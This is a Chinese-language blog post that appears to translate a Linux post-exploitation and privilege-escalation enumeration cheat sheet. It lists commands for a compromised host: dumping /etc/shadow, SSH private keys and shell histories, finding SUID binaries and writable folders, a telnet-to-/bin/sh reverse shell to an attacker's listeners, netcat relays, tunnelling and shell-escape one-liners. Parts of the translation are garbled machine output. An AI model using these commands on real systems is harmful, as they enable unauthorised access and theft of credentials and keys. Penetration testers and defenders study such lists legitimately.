操作系统

什么系统?什么版本?

cat /etc/issue
    cat /etc/*-release
      cat /etc/lsb-release      # Debian based
      cat /etc/redhat-release   # Redhat based

内核版本是什么?它是64位吗?

cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-

从环境变量中可以学到什么?

at /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set

有打印机吗?

lpstat -a

应用程序和服务

哪些服务正在运行?哪个服务具有哪个用户特权?

ps aux
ps -ef
top
cat /etc/services

哪些服务由root运行?这些服务很容易受到攻击 - 值得重新检查!

ps aux | grep root
ps -ef | grep root

安装了哪些应用程序?他们是什么版本?他们目前正在运行?

ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/

任何服务(S)设置配置错误?是否有任何(易受攻击的)插件?

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

预定了哪些工作?

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

任何纯文本用户名和/或密码?

grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla

通信与网络

系统有哪些NIC?它是否连接到另一个网络?

/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network

什么是网络配置设置?你能找到关于这个网络的什么?DHCP服务器?DNS服务器?网关?

cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname

还有哪些用户和主机正在与系统进行通信?

lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w

什么缓存?IP和/或MAC地址

arp -e
route
/sbin/route -nee

数据包嗅探可能吗?可以看到什么?听现场流量

tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21

注意:tcpdump tcp dst [ip] [port]和tcp dst [ip] [port]

你有壳吗?你可以与系统进行交互吗?

nc -lvp 4444    # Attacker. Input (Commands)
nc -lvp 4445    # Attacker. Ouput (Results)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445    # On the targets system. Use the attackers IP!
注意:FPipe.exe -l [本地端口] -r [远程端口] -s [本地端口] [本地IP]

FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

注意:ssh - [L / R] [本地端口]:[远程IP]:[远程端口] [本地用户] @ [本地IP]

ssh -L 8080:127.0.0.1:80 [email protected]    # Local Port
ssh -R 8080:127.0.0.1:80 [email protected]    # Remote Port
注意:mknod backpipe p; nc -l -p [远程端口] <backpipe | nc [本地IP] [本地端口]>回流管

mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe    # Port Relay
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe    # Proxy (Port 80 to 8080)
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe    # Proxy monitor (Port 80 to 8080)

隧道可能吗?远程发送本地命令

ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig

机密信息和用户

你是谁?谁登录?谁已经登录?那里还有谁?谁可以做什么?

id
who
w
last
cat /etc/passwd | cut -d: -f1    # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users
cat /etc/sudoers
sudo -l

可以找到哪些敏感文件?

cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/

家庭导演中有什么“有趣”的东西?如果可以访问

ls -ahlR /root/
ls -ahlR /home/

有没有密码?脚本,数据库,配置文件或日志文件?密码的默认路径和位置

cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

用户在做什么?纯文本中是否有密码?他们在编辑什么?

cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

可以找到哪些用户信息?

cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root

可以找到私钥信息吗?

cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

文件系统

哪些配置文件可以写入/ etc /?能够重新配置服务?

ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null     # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null       # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null    # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null        # Other

find /etc/ -readable -type f 2>/dev/null               # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone

什么可以在/ var /中找到?

ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases

网站上的任何设置/文件(隐藏)?有数据库信息的任何设置文件?

ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/

日志文件中是否有任何内容(可以帮助“本地文件包含”!)

cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/

Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp

如果命令是有限的,你打破了“监狱”外壳?

python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i

文件系统是如何安装的?

mount
df -h

有没有卸载的文件系统?

cat /etc/fstab

什么“高级Linux文件权限”被使用?粘性位,SUID和GUID

find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)

# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

哪里可以写入并执行?一些'通用'的地方:/ tmp,/ var / tmp,/ dev / shm

find / -writable -type d 2>/dev/null      # world-writeable folders
find / -perm -222 -type d 2>/dev/null     # world-writeable folders
find / -perm -o w -type d 2>/dev/null     # world-writeable folders

find / -perm -o x -type d 2>/dev/null     # world-executable folders

find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable & executable folders

任何“问题”文件?可写字的“无人”文件

find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # world-writeable files
find /dir -xdev \( -nouser -o -nogroup \) -print   # Noowner files

准备和查找利用代码

什么开发工具/语言被安装/支持?

find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc

如何上传文件?

find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp

本文由 秋边丶 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

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